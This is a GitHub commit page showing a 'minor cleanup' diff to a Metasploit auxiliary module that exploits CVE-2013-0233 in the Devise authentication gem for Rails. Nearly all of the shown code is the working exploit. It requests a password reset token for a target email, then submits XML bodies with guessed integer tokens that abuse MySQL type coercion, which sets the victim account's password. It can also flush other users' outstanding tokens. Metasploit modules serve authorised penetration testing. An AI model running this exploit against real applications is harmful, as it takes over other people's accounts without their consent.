Skip to content

Commit 799beb5

Browse files
author
jvazquez-r7
committed
minor cleanup
1 parent 1d5d33f commit 799beb5

File tree

1 file changed

+28
-28
lines changed

1 file changed

+28
-28
lines changed

modules/auxiliary/admin/http/rails_devise_pass_reset.rb

Lines changed: 28 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -26,75 +26,72 @@ def initialize(info = {})
2626
but these may require adjustment for implementations which customize them.
2727
2828
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
29-
except PostgreSQL or SQLite3.
30-
31-
Tested w/ v2.2.2, 2.1.2, and 2.0.4.
29+
except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4.
3230
},
3331
'Author' =>
3432
[
3533
'joernchen', #original discovery and disclosure
36-
'jjarmoc', #metasploit module
34+
'jjarmoc' #metasploit module
3735
],
3836
'License' => MSF_LICENSE,
3937
'References' =>
4038
[
4139
[ 'CVE', '2013-0233'],
40+
[ 'OSVDB', '89642' ],
41+
[ 'BID', '57577' ],
4242
[ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
43-
[ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],
43+
[ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html']
4444
],
4545
'DisclosureDate' => 'Jan 28 2013'
4646
))
4747

4848
register_options(
4949
[
50-
OptString.new('TARGETURI', [ true, "The request URI", '/users/password']),
51-
OptString.new('TARGETEMAIL', [true, "The email address of target account"]),
50+
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
51+
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
5252
OptString.new('PASSWORD', [true, 'The password to set']),
5353
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
54-
OptInt.new('MAXINT', [true, "Max integer to try (tokens begining with a higher int will fail)", 10])
54+
OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10])
5555
], self.class)
5656
end
5757

5858
def generate_token(account)
5959
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
6060

61-
print_status("Generating reset token for #{account}")
62-
6361
postdata="user[email]=#{account}"
6462

6563
res = send_request_cgi({
66-
'uri' => normalize_uri(datastore['TARGETURI']),
67-
'method' => 'POST',
68-
'data' => postdata,
69-
})
64+
'uri' => normalize_uri(datastore['TARGETURI']),
65+
'method' => 'POST',
66+
'data' => postdata,
67+
})
7068

71-
unless (res)
69+
unless res
7270
print_error("No response from server")
7371
return false
7472
end
7573

7674
if res.code == 200
7775
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
78-
print_error("Server returned an error:")
79-
print_error(error_text)
76+
print_error("Server returned error")
77+
vprint_error(error_text)
8078
return false
8179
end
80+
8281
return true
8382
end
8483

8584
def clear_tokens()
86-
print_status("Clearing existing tokens")
8785
count = 0
8886
status = true
8987
until (status == false) do
9088
status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5))
9189
count += 1 if status
9290
end
93-
print_status("Cleared #{count} tokens")
91+
vprint_status("Cleared #{count} tokens")
9492
end
9593

9694
def reset_one(password, report=false)
97-
print_status("Resetting password to \"#{password}\"") if report
9895

9996
(0..datastore['MAXINT']).each{ |int_to_try|
10097
encode_pass = REXML::Text.new(password).to_s
@@ -112,7 +109,8 @@ def reset_one(password, report=false)
112109
'ctype' => 'application/xml',
113110
'data' => xml,
114111
})
115-
unless (res)
112+
113+
unless res
116114
print_error("No response from server")
117115
return false
118116
end
@@ -123,8 +121,8 @@ def reset_one(password, report=false)
123121
# May need to tweak this for some apps...
124122
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
125123
if (report) && (error_text !~ /token/)
126-
print_error("Server returned an error:")
127-
print_error(error_text)
124+
print_error("Server returned error")
125+
vprint_error(error_text)
128126
return false
129127
end
130128
when 302
@@ -136,27 +134,29 @@ def reset_one(password, report=false)
136134
end
137135
}
138136

139-
print_error("No active reset tokens below #{datastore['MAXINT']} remain.
140-
Try a higher MAXINT.") if report
137+
print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
141138
return false
142139

143140
end
144141

145142
def run
146143
# Clear outstanding reset tokens, helps ensure we hit the intended account.
144+
print_status("Clearing existing tokens...")
147145
clear_tokens() if datastore['FLUSHTOKENS']
148146

149147
# Generate a token for our account
148+
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
150149
status = generate_token(datastore['TARGETEMAIL'])
151150
if status == false
152-
print_error("Failed")
151+
print_error("Failed to generate reset token")
153152
return
154153
end
155-
print_good("Success")
154+
print_good("Reset token generated successfully")
156155

157156
# Reset a password. We're racing users creating other reset tokens.
158157
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
158+
print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
159159
status = reset_one(datastore['PASSWORD'], true)
160-
status ? print_good("Success") : print_error("Failed")
160+
status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
161161
end
162162
end

0 commit comments

Comments
 (0)